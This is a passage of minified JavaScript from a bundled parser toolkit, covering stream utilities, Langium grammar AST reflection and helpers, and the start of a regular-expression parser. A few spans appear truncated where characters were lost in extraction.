n=this.iterator(),i=0,a=n.next();for(;!a.done;){if(i>=r&&a.value===e)return i;a=n.next(),i++}return-1}every(e){let r=this.iterator(),n=r.next();for(;!n.done;){if(!e(n.value))return!1;n=r.next()}return!0}some(e){let r=this.iterator(),n=r.next();for(;!n.done;){if(e(n.value))return!0;n=r.next()}return!1}forEach(e){let r=this.iterator(),n=0,i=r.next();for(;!i.done;)e(i.value,n),i=r.next(),n++}map(e){return new t(this.startFn,r=>{let{done:n,value:i}=this.nextFn(r);return n?za:{done:!1,value:e(i)}})}filter(e){return new t(this.startFn,r=>{let n;do if(n=this.nextFn(r),!n.done&&e(n.value))return n;while(!n.done);return za})}nonNullable(){return this.filter(e=>e!=null)}reduce(e,r){let n=this.iterator(),i=r,a=n.next();for(;!a.done;)i===void 0?i=a.value:i=e(i,a.value),a=n.next();return i}reduceRight(e,r){return this.recursiveReduce(this.iterator(),e,r)}recursiveReduce(e,r,n){let i=e.next();if(i.done)return n;let a=this.recursiveReduce(e,r,n);return a===void 0?i.value:r(a,i.value)}find(e){let r=this.iterator(),n=r.next();for(;!n.done;){if(e(n.value))return n.value;n=r.next()}}findIndex(e){let r=this.iterator(),n=0,i=r.next();for(;!i.done;){if(e(i.value))return n;i=r.next(),n++}return-1}includes(e){let r=this.iterator(),n=r.next();for(;!n.done;){if(n.value===e)return!0;n=r.next()}return!1}flatMap(e){return new t(()=>({this:this.startFn()}),r=>{do{if(r.iterator){let a=r.iterator.next();if(a.done)r.iterator=void 0;else return a}let{done:n,value:i}=this.nextFn(r.this);if(!n){let a=e(i);if(DE(a))r.iterator=a[Symbol.iterator]();else return{done:!1,value:a}}}while(r.iterator);return za})}flat(e){if(e===void 0&&(e=1),e<=0)return this;let r=e>1?this.flat(e-1):this;return new t(()=>({this:r.startFn()}),n=>{do{if(n.iterator){let s=n.iterator.next();if(s.done)n.iterator=void 0;else return s}let{done:i,value:a}=r.nextFn(n.this);if(!i)if(DE(a))n.iterator=a[Symbol.iterator]();else return{done:!1,value:a}}while(n.iterator);return za})}head(){let r=this.iterator().next();if(!r.done)return r.value}tail(e=1){return new t(()=>{let r=this.startFn();for(let n=0;n({size:0,state:this.startFn()}),r=>(r.size++,r.size>e?za:this.nextFn(r.state)))}distinct(e){return new t(()=>({set:new Set,internalState:this.startFn()}),r=>{let n;do if(n=this.nextFn(r.internalState),!n.done){let i=e?e(n.value):n.value;if(!r.set.has(i))return r.set.add(i),n}while(!n.done);return za})}exclude(e,r){let n=new Set;for(let i of e){let a=r?r(i):i;n.add(a)}return this.filter(i=>{let a=r?r(i):i;return!n.has(a)})}};o(mWe,"toString");o(DE,"isIterable");Rx=new po(()=>{},()=>za),za=Object.freeze({done:!0,value:void 0});o(an,"stream");Gc=class extends po{static{o(this,"TreeStreamImpl")}constructor(e,r,n){super(()=>({iterators:n?.includeRoot?[[e][Symbol.iterator]()]:[r(e)[Symbol.iterator]()],pruned:!1}),i=>{for(i.pruned&&(i.iterators.pop(),i.pruned=!1);i.iterators.length>0;){let s=i.iterators[i.iterators.length-1].next();if(s.done)i.iterators.pop();else return i.iterators.push(r(s.value)[Symbol.iterator]()),s}return za})}iterator(){let e={state:this.startFn(),next:o(()=>this.nextFn(e.state),"next"),prune:o(()=>{e.state.pruned=!0},"prune"),[Symbol.iterator]:()=>e};return e}};(function(t){function e(a){return a.reduce((s,l)=>s+l,0)}o(e,"sum"),t.sum=e;function r(a){return a.reduce((s,l)=>s*l,0)}o(r,"product"),t.product=r;function n(a){return a.reduce((s,l)=>Math.min(s,l))}o(n,"min"),t.min=n;function i(a){return a.reduce((s,l)=>Math.max(s,l))}o(i,"max"),t.max=i})(vg||(vg={}))});var RE={};dr(RE,{DefaultNameRegexp:()=>LE,RangeComparison:()=>Vc,compareRange:()=>Rfe,findCommentNode:()=>jI,findDeclarationNodeAtOffset:()=>yWe,findLeafNodeAtOffset:()=>KI,findLeafNodeBeforeOffset:()=>Nfe,flattenCst:()=>gWe,getInteriorNodes:()=>bWe,getNextNode:()=>vWe,getPreviousNode:()=>Ife,getStartlineNode:()=>xWe,inRange:()=>XI,isChildNode:()=>YI,isCommentNode:()=>WI,streamCst:()=>Dp,toDocumentSegment:()=>Lp,tokenToRange:()=>xg});function Dp(t){return new Gc(t,e=>Ol(e)?e.content:[],{includeRoot:!0})}function gWe(t){return Dp(t).filter(If)}function YI(t,e){for(;t.container;)if(t=t.container,t===e)return!0;return!1}function xg(t){return{start:{character:t.startColumn-1,line:t.startLine-1},end:{character:t.endColumn,line:t.endLine-1}}}function Lp(t){if(!t)return;let{offset:e,end:r,range:n}=t;return{range:n,offset:e,end:r,length:r-e}}function Rfe(t,e){if(t.end.linee.end.line||t.start.line===e.end.line&&t.start.character>=e.end.character)return Vc.After;let r=t.start.line>e.start.line||t.start.line===e.start.line&&t.start.character>=e.start.character,n=t.end.lineVc.After}function yWe(t,e,r=LE){if(t){if(e>0){let n=e-t.offset,i=t.text.charAt(n);r.test(i)||e--}return KI(t,e)}}function jI(t,e){if(t){let r=Ife(t,!0);if(r&&WI(r,e))return r;if(Lx(t)){let n=t.content.findIndex(i=>!i.hidden);for(let i=n-1;i>=0;i--){let a=t.content[i];if(WI(a,e))return a}}}}function WI(t,e){return If(t)&&e.includes(t.tokenType.name)}function KI(t,e){if(If(t))return t;if(Ol(t)){let r=Mfe(t,e,!1);if(r)return KI(r,e)}}function Nfe(t,e){if(If(t))return t;if(Ol(t)){let r=Mfe(t,e,!0);if(r)return Nfe(r,e)}}function Mfe(t,e,r){let n=0,i=t.content.length-1,a;for(;n<=i;){let s=Math.floor((n+i)/2),l=t.content[s];if(l.offset<=e&&l.end>e)return l;l.end<=e?(a=r?l:void 0,n=s+1):i=s-1}return a}function Ife(t,e=!0){for(;t.container;){let r=t.container,n=r.content.indexOf(t);for(;n>0;){n--;let i=r.content[n];if(e||!i.hidden)return i}t=r}}function vWe(t,e=!0){for(;t.container;){let r=t.container,n=r.content.indexOf(t),i=r.content.length-1;for(;n{"use strict";Pl();Ys();o(Dp,"streamCst");o(gWe,"flattenCst");o(YI,"isChildNode");o(xg,"tokenToRange");o(Lp,"toDocumentSegment");(function(t){t[t.Before=0]="Before",t[t.After=1]="After",t[t.OverlapFront=2]="OverlapFront",t[t.OverlapBack=3]="OverlapBack",t[t.Inside=4]="Inside",t[t.Outside=5]="Outside"})(Vc||(Vc={}));o(Rfe,"compareRange");o(XI,"inRange");LE=/^[\w\p{L}]$/u;o(yWe,"findDeclarationNodeAtOffset");o(jI,"findCommentNode");o(WI,"isCommentNode");o(KI,"findLeafNodeAtOffset");o(Nfe,"findLeafNodeBeforeOffset");o(Mfe,"binarySearch");o(Ife,"getPreviousNode");o(vWe,"getNextNode");o(xWe,"getStartlineNode");o(bWe,"getInteriorNodes");o(TWe,"getCommonParent");o(Lfe,"getParentChain")});function Uc(t){throw new Error("Error! The input value was not handled.")}var Rp,NE=N(()=>{"use strict";Rp=class extends Error{static{o(this,"ErrorWithLocation")}constructor(e,r){super(e?`${r} at ${e.range.start.line}:${e.range.start.character}`:r)}};o(Uc,"assertUnreachable")});var zx={};dr(zx,{AbstractElement:()=>wg,AbstractRule:()=>bg,AbstractType:()=>Tg,Action:()=>Gg,Alternatives:()=>Vg,ArrayLiteral:()=>kg,ArrayType:()=>Eg,Assignment:()=>Ug,BooleanLiteral:()=>Sg,CharacterRange:()=>Hg,Condition:()=>Nx,Conjunction:()=>Cg,CrossReference:()=>qg,Disjunction:()=>Ag,EndOfFile:()=>Wg,Grammar:()=>_g,GrammarImport:()=>Ix,Group:()=>Yg,InferredType:()=>Dg,Interface:()=>Lg,Keyword:()=>Xg,LangiumGrammarAstReflection:()=>i1,LangiumGrammarTerminals:()=>wWe,NamedArgument:()=>Ox,NegatedToken:()=>jg,Negation:()=>Rg,NumberLiteral:()=>Ng,Parameter:()=>Mg,ParameterReference:()=>Ig,ParserRule:()=>Og,ReferenceType:()=>Pg,RegexToken:()=>Kg,ReturnType:()=>Px,RuleCall:()=>Qg,SimpleType:()=>Bg,StringLiteral:()=>Fg,TerminalAlternatives:()=>Zg,TerminalGroup:()=>Jg,TerminalRule:()=>Np,TerminalRuleCall:()=>e1,Type:()=>$g,TypeAttribute:()=>Bx,TypeDefinition:()=>ME,UnionType:()=>zg,UnorderedGroup:()=>t1,UntilToken:()=>r1,ValueLiteral:()=>Mx,Wildcard:()=>n1,isAbstractElement:()=>Fx,isAbstractRule:()=>kWe,isAbstractType:()=>EWe,isAction:()=>qu,isAlternatives:()=>BE,isArrayLiteral:()=>DWe,isArrayType:()=>QI,isAssignment:()=>Fl,isBooleanLiteral:()=>ZI,isCharacterRange:()=>sO,isCondition:()=>SWe,isConjunction:()=>JI,isCrossReference:()=>Mp,isDisjunction:()=>eO,isEndOfFile:()=>oO,isFeatureName:()=>CWe,isGrammar:()=>LWe,isGrammarImport:()=>RWe,isGroup:()=>Of,isInferredType:()=>IE,isInterface:()=>OE,isKeyword:()=>Zo,isNamedArgument:()=>NWe,isNegatedToken:()=>lO,isNegation:()=>tO,isNumberLiteral:()=>MWe,isParameter:()=>IWe,isParameterReference:()=>rO,isParserRule:()=>Ga,isPrimitiveType:()=>Ofe,isReferenceType:()=>nO,isRegexToken:()=>cO,isReturnType:()=>iO,isRuleCall:()=>$l,isSimpleType:()=>PE,isStringLiteral:()=>OWe,isTerminalAlternatives:()=>uO,isTerminalGroup:()=>hO,isTerminalRule:()=>mo,isTerminalRuleCall:()=>FE,isType:()=>$x,isTypeAttribute:()=>PWe,isTypeDefinition:()=>AWe,isUnionType:()=>aO,isUnorderedGroup:()=>$E,isUntilToken:()=>fO,isValueLiteral:()=>_We,isWildcard:()=>dO,reflection:()=>pr});function kWe(t){return pr.isInstance(t,bg)}function EWe(t){return pr.isInstance(t,Tg)}function SWe(t){return pr.isInstance(t,Nx)}function CWe(t){return Ofe(t)||t==="current"||t==="entry"||t==="extends"||t==="false"||t==="fragment"||t==="grammar"||t==="hidden"||t==="import"||t==="interface"||t==="returns"||t==="terminal"||t==="true"||t==="type"||t==="infer"||t==="infers"||t==="with"||typeof t=="string"&&/\^?[_a-zA-Z][\w_]*/.test(t)}function Ofe(t){return t==="string"||t==="number"||t==="boolean"||t==="Date"||t==="bigint"}function AWe(t){return pr.isInstance(t,ME)}function _We(t){return pr.isInstance(t,Mx)}function Fx(t){return pr.isInstance(t,wg)}function DWe(t){return pr.isInstance(t,kg)}function QI(t){return pr.isInstance(t,Eg)}function ZI(t){return pr.isInstance(t,Sg)}function JI(t){return pr.isInstance(t,Cg)}function eO(t){return pr.isInstance(t,Ag)}function LWe(t){return pr.isInstance(t,_g)}function RWe(t){return pr.isInstance(t,Ix)}function IE(t){return pr.isInstance(t,Dg)}function OE(t){return pr.isInstance(t,Lg)}function NWe(t){return pr.isInstance(t,Ox)}function tO(t){return pr.isInstance(t,Rg)}function MWe(t){return pr.isInstance(t,Ng)}function IWe(t){return pr.isInstance(t,Mg)}function rO(t){return pr.isInstance(t,Ig)}function Ga(t){return pr.isInstance(t,Og)}function nO(t){return pr.isInstance(t,Pg)}function iO(t){return pr.isInstance(t,Px)}function PE(t){return pr.isInstance(t,Bg)}function OWe(t){return pr.isInstance(t,Fg)}function mo(t){return pr.isInstance(t,Np)}function $x(t){return pr.isInstance(t,$g)}function PWe(t){return pr.isInstance(t,Bx)}function aO(t){return pr.isInstance(t,zg)}function qu(t){return pr.isInstance(t,Gg)}function BE(t){return pr.isInstance(t,Vg)}function Fl(t){return pr.isInstance(t,Ug)}function sO(t){return pr.isInstance(t,Hg)}function Mp(t){return pr.isInstance(t,qg)}function oO(t){return pr.isInstance(t,Wg)}function Of(t){return pr.isInstance(t,Yg)}function Zo(t){return pr.isInstance(t,Xg)}function lO(t){return pr.isInstance(t,jg)}function cO(t){return pr.isInstance(t,Kg)}function $l(t){return pr.isInstance(t,Qg)}function uO(t){return pr.isInstance(t,Zg)}function hO(t){return pr.isInstance(t,Jg)}function FE(t){return pr.isInstance(t,e1)}function $E(t){return pr.isInstance(t,t1)}function fO(t){return pr.isInstance(t,r1)}function dO(t){return pr.isInstance(t,n1)}var wWe,bg,Tg,Nx,ME,Mx,wg,kg,Eg,Sg,Cg,Ag,_g,Ix,Dg,Lg,Ox,Rg,Ng,Mg,Ig,Og,Pg,Px,Bg,Fg,Np,$g,Bx,zg,Gg,Vg,Ug,Hg,qg,Wg,Yg,Xg,jg,Kg,Qg,Zg,Jg,e1,t1,r1,n1,i1,pr,Hc=N(()=>{"use strict";Pl();wWe={ID:/\^?[_a-zA-Z][\w_]*/,STRING:/"(\\.|[^"\\])*"|'(\\.|[^'\\])*'/,NUMBER:/NaN|-?((\d*\.\d+|\d+)([Ee][+-]?\d+)?|Infinity)/,RegexLiteral:/\/(?![*+?])(?:[^\r\n\[/\\]|\\.|\[(?:[^\r\n\]\\]|\\.)*\])+\/[a-z]*/,WS:/\s+/,ML_COMMENT:/\/\*[\s\S]*?\*\//,SL_COMMENT:/\/\/[^\n\r]*/},bg="AbstractRule";o(kWe,"isAbstractRule");Tg="AbstractType";o(EWe,"isAbstractType");Nx="Condition";o(SWe,"isCondition");o(CWe,"isFeatureName");o(Ofe,"isPrimitiveType");ME="TypeDefinition";o(AWe,"isTypeDefinition");Mx="ValueLiteral";o(_We,"isValueLiteral");wg="AbstractElement";o(Fx,"isAbstractElement");kg="ArrayLiteral";o(DWe,"isArrayLiteral");Eg="ArrayType";o(QI,"isArrayType");Sg="BooleanLiteral";o(ZI,"isBooleanLiteral");Cg="Conjunction";o(JI,"isConjunction");Ag="Disjunction";o(eO,"isDisjunction");_g="Grammar";o(LWe,"isGrammar");Ix="GrammarImport";o(RWe,"isGrammarImport");Dg="InferredType";o(IE,"isInferredType");Lg="Interface";o(OE,"isInterface");Ox="NamedArgument";o(NWe,"isNamedArgument");Rg="Negation";o(tO,"isNegation");Ng="NumberLiteral";o(MWe,"isNumberLiteral");Mg="Parameter";o(IWe,"isParameter");Ig="ParameterReference";o(rO,"isParameterReference");Og="ParserRule";o(Ga,"isParserRule");Pg="ReferenceType";o(nO,"isReferenceType");Px="ReturnType";o(iO,"isReturnType");Bg="SimpleType";o(PE,"isSimpleType");Fg="StringLiteral";o(OWe,"isStringLiteral");Np="TerminalRule";o(mo,"isTerminalRule");$g="Type";o($x,"isType");Bx="TypeAttribute";o(PWe,"isTypeAttribute");zg="UnionType";o(aO,"isUnionType");Gg="Action";o(qu,"isAction");Vg="Alternatives";o(BE,"isAlternatives");Ug="Assignment";o(Fl,"isAssignment");Hg="CharacterRange";o(sO,"isCharacterRange");qg="CrossReference";o(Mp,"isCrossReference");Wg="EndOfFile";o(oO,"isEndOfFile");Yg="Group";o(Of,"isGroup");Xg="Keyword";o(Zo,"isKeyword");jg="NegatedToken";o(lO,"isNegatedToken");Kg="RegexToken";o(cO,"isRegexToken");Qg="RuleCall";o($l,"isRuleCall");Zg="TerminalAlternatives";o(uO,"isTerminalAlternatives");Jg="TerminalGroup";o(hO,"isTerminalGroup");e1="TerminalRuleCall";o(FE,"isTerminalRuleCall");t1="UnorderedGroup";o($E,"isUnorderedGroup");r1="UntilToken";o(fO,"isUntilToken");n1="Wildcard";o(dO,"isWildcard");i1=class extends Ap{static{o(this,"LangiumGrammarAstReflection")}getAllTypes(){return[wg,bg,Tg,Gg,Vg,kg,Eg,Ug,Sg,Hg,Nx,Cg,qg,Ag,Wg,_g,Ix,Yg,Dg,Lg,Xg,Ox,jg,Rg,Ng,Mg,Ig,Og,Pg,Kg,Px,Qg,Bg,Fg,Zg,Jg,Np,e1,$g,Bx,ME,zg,t1,r1,Mx,n1]}computeIsSubtype(e,r){switch(e){case Gg:case Vg:case Ug:case Hg:case qg:case Wg:case Yg:case Xg:case jg:case Kg:case Qg:case Zg:case Jg:case e1:case t1:case r1:case n1:return this.isSubtype(wg,r);case kg:case Ng:case Fg:return this.isSubtype(Mx,r);case Eg:case Pg:case Bg:case zg:return this.isSubtype(ME,r);case Sg:return this.isSubtype(Nx,r)||this.isSubtype(Mx,r);case Cg:case Ag:case Rg:case Ig:return this.isSubtype(Nx,r);case Dg:case Lg:case $g:return this.isSubtype(Tg,r);case Og:return this.isSubtype(bg,r)||this.isSubtype(Tg,r);case Np:return this.isSubtype(bg,r);default:return!1}}getReferenceType(e){let r=`${e.container.$type}:${e.property}`;switch(r){case"Action:type":case"CrossReference:type":case"Interface:superTypes":case"ParserRule:returnType":case"SimpleType:typeRef":return Tg;case"Grammar:hiddenTokens":case"ParserRule:hiddenTokens":case"RuleCall:rule":return bg;case"Grammar:usedGrammars":return _g;case"NamedArgument:parameter":case"ParameterReference:parameter":return Mg;case"TerminalRuleCall:rule":return Np;default:throw new Error(`${r} is not a valid reference id.`)}}getTypeMetaData(e){switch(e){case wg:return{name:wg,properties:[{name:"cardinality"},{name:"lookahead"}]};case kg:return{name:kg,properties:[{name:"elements",defaultValue:[]}]};case Eg:return{name:Eg,properties:[{name:"elementType"}]};case Sg:return{name:Sg,properties:[{name:"true",defaultValue:!1}]};case Cg:return{name:Cg,properties:[{name:"left"},{name:"right"}]};case Ag:return{name:Ag,properties:[{name:"left"},{name:"right"}]};case _g:return{name:_g,properties:[{name:"definesHiddenTokens",defaultValue:!1},{name:"hiddenTokens",defaultValue:[]},{name:"imports",defaultValue:[]},{name:"interfaces",defaultValue:[]},{name:"isDeclared",defaultValue:!1},{name:"name"},{name:"rules",defaultValue:[]},{name:"types",defaultValue:[]},{name:"usedGrammars",defaultValue:[]}]};case Ix:return{name:Ix,properties:[{name:"path"}]};case Dg:return{name:Dg,properties:[{name:"name"}]};case Lg:return{name:Lg,properties:[{name:"attributes",defaultValue:[]},{name:"name"},{name:"superTypes",defaultValue:[]}]};case Ox:return{name:Ox,properties:[{name:"calledByName",defaultValue:!1},{name:"parameter"},{name:"value"}]};case Rg:return{name:Rg,properties:[{name:"value"}]};case Ng:return{name:Ng,properties:[{name:"value"}]};case Mg:return{name:Mg,properties:[{name:"name"}]};case Ig:return{name:Ig,properties:[{name:"parameter"}]};case Og:return{name:Og,properties:[{name:"dataType"},{name:"definesHiddenTokens",defaultValue:!1},{name:"definition"},{name:"entry",defaultValue:!1},{name:"fragment",defaultValue:!1},{name:"hiddenTokens",defaultValue:[]},{name:"inferredType"},{name:"name"},{name:"parameters",defaultValue:[]},{name:"returnType"},{name:"wildcard",defaultValue:!1}]};case Pg:return{name:Pg,properties:[{name:"referenceType"}]};case Px:return{name:Px,properties:[{name:"name"}]};case Bg:return{name:Bg,properties:[{name:"primitiveType"},{name:"stringType"},{name:"typeRef"}]};case Fg:return{name:Fg,properties:[{name:"value"}]};case Np:return{name:Np,properties:[{name:"definition"},{name:"fragment",defaultValue:!1},{name:"hidden",defaultValue:!1},{name:"name"},{name:"type"}]};case $g:return{name:$g,properties:[{name:"name"},{name:"type"}]};case Bx:return{name:Bx,properties:[{name:"defaultValue"},{name:"isOptional",defaultValue:!1},{name:"name"},{name:"type"}]};case zg:return{name:zg,properties:[{name:"types",defaultValue:[]}]};case Gg:return{name:Gg,properties:[{name:"cardinality"},{name:"feature"},{name:"inferredType"},{name:"lookahead"},{name:"operator"},{name:"type"}]};case Vg:return{name:Vg,properties:[{name:"cardinality"},{name:"elements",defaultValue:[]},{name:"lookahead"}]};case Ug:return{name:Ug,properties:[{name:"cardinality"},{name:"feature"},{name:"lookahead"},{name:"operator"},{name:"terminal"}]};case Hg:return{name:Hg,properties:[{name:"cardinality"},{name:"left"},{name:"lookahead"},{name:"right"}]};case qg:return{name:qg,properties:[{name:"cardinality"},{name:"deprecatedSyntax",defaultValue:!1},{name:"lookahead"},{name:"terminal"},{name:"type"}]};case Wg:return{name:Wg,properties:[{name:"cardinality"},{name:"lookahead"}]};case Yg:return{name:Yg,properties:[{name:"cardinality"},{name:"elements",defaultValue:[]},{name:"guardCondition"},{name:"lookahead"}]};case Xg:return{name:Xg,properties:[{name:"cardinality"},{name:"lookahead"},{name:"value"}]};case jg:return{name:jg,properties:[{name:"cardinality"},{name:"lookahead"},{name:"terminal"}]};case Kg:return{name:Kg,properties:[{name:"cardinality"},{name:"lookahead"},{name:"regex"}]};case Qg:return{name:Qg,properties:[{name:"arguments",defaultValue:[]},{name:"cardinality"},{name:"lookahead"},{name:"rule"}]};case Zg:return{name:Zg,properties:[{name:"cardinality"},{name:"elements",defaultValue:[]},{name:"lookahead"}]};case Jg:return{name:Jg,properties:[{name:"cardinality"},{name:"elements",defaultValue:[]},{name:"lookahead"}]};case e1:return{name:e1,properties:[{name:"cardinality"},{name:"lookahead"},{name:"rule"}]};case t1:return{name:t1,properties:[{name:"cardinality"},{name:"elements",defaultValue:[]},{name:"lookahead"}]};case r1:return{name:r1,properties:[{name:"cardinality"},{name:"lookahead"},{name:"terminal"}]};case n1:return{name:n1,properties:[{name:"cardinality"},{name:"lookahead"}]};default:return{name:e,properties:[]}}}},pr=new i1});var GE={};dr(GE,{assignMandatoryProperties:()=>gO,copyAstNode:()=>mO,findLocalReferences:()=>FWe,findRootNode:()=>Gx,getContainerOfType:()=>Ip,getDocument:()=>Va,hasContainerOfType:()=>BWe,linkContentToContainer:()=>zE,streamAllContents:()=>qc,streamAst:()=>Jo,streamContents:()=>Vx,streamReferences:()=>a1});function zE(t){for(let[e,r]of Object.entries(t))e.startsWith("$")||(Array.isArray(r)?r.forEach((n,i)=>{li(n)&&(n.$container=t,n.$containerProperty=e,n.$containerIndex=i)}):li(r)&&(r.$container=t,r.$containerProperty=e))}function Ip(t,e){let r=t;for(;r;){if(e(r))return r;r=r.$container}}function BWe(t,e){let r=t;for(;r;){if(e(r))return!0;r=r.$container}return!1}function Va(t){let r=Gx(t).$document;if(!r)throw new Error("AST node has no document.");return r}function Gx(t){for(;t.$container;)t=t.$container;return t}function Vx(t,e){if(!t)throw new Error("Node must be an AstNode.");let r=e?.range;return new po(()=>({keys:Object.keys(t),keyIndex:0,arrayIndex:0}),n=>{for(;n.keyIndexVx(r,e))}function Jo(t,e){if(t){if(e?.range&&!pO(t,e.range))return new Gc(t,()=>[])}else throw new Error("Root node must be an AstNode.");return new Gc(t,r=>Vx(r,e),{includeRoot:!0})}function pO(t,e){var r;if(!e)return!0;let n=(r=t.$cstNode)===null||r===void 0?void 0:r.range;return n?XI(n,e):!1}function a1(t){return new po(()=>({keys:Object.keys(t),keyIndex:0,arrayIndex:0}),e=>{for(;e.keyIndex{a1(n).forEach(i=>{i.reference.ref===t&&r.push(i.reference)})}),an(r)}function gO(t,e){let r=t.getTypeMetaData(e.$type),n=e;for(let i of r.properties)i.defaultValue!==void 0&&n[i.name]===void 0&&(n[i.name]=Pfe(i.defaultValue))}function Pfe(t){return Array.isArray(t)?[...t.map(Pfe)]:t}function mO(t,e){let r={$type:t.$type};for(let[n,i]of Object.entries(t))if(!n.startsWith("$"))if(li(i))r[n]=mO(i,e);else if(Ta(i))r[n]=e(r,n,i.$refNode,i.$refText);else if(Array.isArray(i)){let a=[];for(let s of i)li(s)?a.push(mO(s,e)):Ta(s)?a.push(e(r,n,s.$refNode,s.$refText)):a.push(s);r[n]=a}else r[n]=i;return zE(r),r}var hs=N(()=>{"use strict";Pl();Ys();Bl();o(zE,"linkContentToContainer");o(Ip,"getContainerOfType");o(BWe,"hasContainerOfType");o(Va,"getDocument");o(Gx,"findRootNode");o(Vx,"streamContents");o(qc,"streamAllContents");o(Jo,"streamAst");o(pO,"isAstNodeInRange");o(a1,"streamReferences");o(FWe,"findLocalReferences");o(gO,"assignMandatoryProperties");o(Pfe,"copyDefaultValue");o(mO,"copyAstNode")});function lr(t){return t.charCodeAt(0)}function VE(t,e){Array.isArray(t)?t.forEach(function(r){e.push(r)}):e.push(t)}function s1(t,e){if(t[e]===!0)throw"duplicate flag "+e;let r=t[e];t[e]=!0}function Op(t){if(t===void 0)throw Error("Internal Error - Should never get here!");return!0}function Ux(){throw Error("Internal Error - Should never get here!")}function yO(t){return t.type==="Character"}var vO=N(()=>{"use strict";o(lr,"cc");o(VE,"insertToSet");o(s1,"addFlag");o(Op,"ASSERT_EXISTS");o(Ux,"ASSERT_NEVER_REACH_HERE");o(yO,"isCharacter")});var Hx,qx,xO,Bfe=N(()=>{"use strict";vO();Hx=[];for(let t=lr("0");t<=lr("9");t++)Hx.push(t);qx=[lr("_")].concat(Hx);for(let t=lr("a");t<=lr("z");t++)qx.push(t);for(let t=lr("A");t<=lr("Z");t++)qx.push(t);xO=[lr(" "),lr("\f"),lr(` +`),lr("\r"),lr(" "),lr("\v"),lr(" "),lr("\xA0"),lr("\u1680"),lr("\u2000"),lr("\u2001"),lr("\u2002"),lr("\u2003"),lr("\u2004"),lr("\u2005"),lr("\u2006"),lr("\u2007"),lr("\u2008"),lr("\u2009"),lr("\u200A"),lr("\u2028"),lr("\u2029"),lr("\u202F"),lr("\u205F"),lr("\u3000"),lr("\uFEFF")]});var $We,UE,zWe,Pp,Ffe=N(()=>{"use strict";vO();Bfe();$We=/[0-9a-fA-F]/,UE=/[0-9]/,zWe=/[1-9]/,Pp=class{static{o(this,"RegExpParser")}constructor(){this.idx=0,this.input="",this.groupIdx=0}saveState(){return{idx:this.idx,input:this.input,groupIdx:this.groupIdx}}restoreState(e){this.idx=e.idx,this.input=e.input,this.groupIdx=e.groupIdx}pattern(e){this.idx=0,this.input=e,this.groupIdx=0,this.consumeChar("/");let r=this.disjunction();this.consumeChar("/");let n={type:"Flags",loc:{begin:this.idx,end:e.length},global:!1,ignoreCase:!1,multiLine:!1,unicode:!1,sticky:!1};for(;this.isRegExpFlag();)switch(this.popChar()){case"g":s1(n,"global");break;case"i":s1(n,"ignoreCase");break;case"m":s1(n,"multiLine");break;case"u":s1(n,"unicode");break;case"y":s1(n,"sticky");break}if(this.idx!==this.input.length)throw Error("Redundant input: "+this.input.substring(this.idx));return{type:"Pattern",flags:n,value:r,loc:this.loc(0)}}disjunction(){let e=[],r=this.idx;for(e.push(this.alternative());this.peekChar()==="|";)this.consumeChar("|"),e.push(this.alternative());return{type:"Disjunction",value:e,loc:this.loc(r)}}alternative(){let e=[],r=this.idx;for(;this.isTerm();)e.push(this.term());return{type:"Alternative",value:e,loc:this.loc(r)}}term(){return this.isAssertion()?this.assertion():this.atom()}assertion(){let e=this.idx;switch(this.popChar()){case"^":return{type:"StartAnchor",loc:this.loc(e)};case"$":return{type:"EndAnchor",loc:this.loc(e)};case"\\":switch(this.popChar()){case"b":return{type:"WordBoundary",loc:this.loc(e)};case"B":return{type:"NonWordBoundary",loc:this.loc(e)}}throw Error("Invalid Assertion Escape");case"(":this.consumeChar("?");let r;switch(this.popChar()){case"=":r="Lookahead";break;case"!":r="NegativeLookahead";break}Op(r);let n=this.disjunction();return this.consumeChar(")"),{type:r,value:n,loc:this.loc(e)}}return Ux()}quantifier(e=!1){let r,n=this.idx;switch(this.popChar()){case"*":r={atLeast:0,atMost:1/0};break;case"+":r={atLeast:1,atMost:1/0};break;case"?":r={atLeast:0,atMost:1};break;case"{":let i=this.integerIncludingZero();switch(this.popChar()){case"}":r={atLeast:i,atMost:i};break;case",":let a;this.isDigit()?(a=this.integerIncludingZero(),r={atLeast:i,atMost:a}):r={atLeast:i,atMost:1/0},this.consumeChar("}");break}if(e===!0&&r===void 0)return;Op(r);break}if(!(e===!0&&r===void 0)&&Op(r))return this.peekChar(0)==="?"?(this.consumeChar("?"),r.greedy=!1):r.greedy=!0,r.type="Quantifier",r.loc=this.loc(n),r}atom(){let e,r=this.idx;switch(this.peekChar()){case".":e=this.dotAll();break;case"\\":e=this.atomEscape();break;case"[":e=this.characterClass();break;case"(":e=this.group();break}return e===void 0&&this.isPatternCharacter()&&(e=this.patternCharacter()),Op(e)?(e.loc=this.loc(r),this.isQuantifier()&&(e.quantifier=this.quantifier()),e):Ux()}dotAll(){return this.consumeChar("."),{type:"Set",complement:!0,value:[lr(` +`),lr("\r"),lr("\u2028"),lr("\u2029")]}}atomEscape(){switch(this.consumeChar("\\"),this.peekChar()){case"1":case"2":case"3":case"4":case"5":case"6":case"7":case"8":case"9":return this.decimalEscapeAtom();case"d":case"D":case"s":case"S":case"w":case"W":return this.characterClassEscape();case"f":case"n":case"r":case"t":case"v":return this.controlEscapeAtom();case"c":return this.controlLetterEscapeAtom();case"0":return this.nulCharacterAtom();case"x":return this.hexEscapeSequenceAtom();case"u":return this.regExpUnicodeEscapeSequenceAtom();default:return this.identityEscapeAtom()}}decimalEscapeAtom(){return{type:"GroupBackReference",value:this.positiveInteger()}}characterClassEscape(){let e,r=!1;switch(this.popChar()){case"d":e=Hx;break;case"D":e=Hx,r=!0;break;case"s":e=xO;break;case"S":e=xO,r=!0;break;case"w":e=qx;break;case"W":e=qx,r=!0;break}return Op(e)?{type:"Set",value:e,complement:r}:Ux()}controlEscapeAtom(){let e;switch(this.popChar()){case"f":e=lr("\f");break;case"n":e=lr(` +`);break;case"r":e=lr("\r");break;case"t":e=lr(" ");break;case"v":e=lr("\v");break}return Op(e)?{type:"Character",value:e}:Ux()}controlLetterEscapeAtom(){this.consumeChar("c");let e=this.popChar();if(/[a-zA-Z]/.test(e)===!1)throw Error("Invalid ");return{type:"Character",value:e.toUpperCase().charCodeAt(0)-64}}nulCharacterAtom(){return this.consumeChar("0"),{type:"Character",value:lr("\0")}}hexEscapeSequenceAtom(){return this.consumeChar("x"),this.parseHexDigits(2)}regExpUnicodeEscapeSequenceAtom(){return this.consumeChar("u"),this.parseHexDigits(4)}identityEscapeAtom(){let e=this.popChar();return{type:"Character",value:lr(e)}}classPatternCharacterAtom(){switch(this.peekChar()){case` +`:case"\r":case"\u2028":case"\u2029":case"\\":case"]":throw Error("TBD");default:let e=this.popChar();return{type:"Character",value:lr(e)}}}characterClass(){let 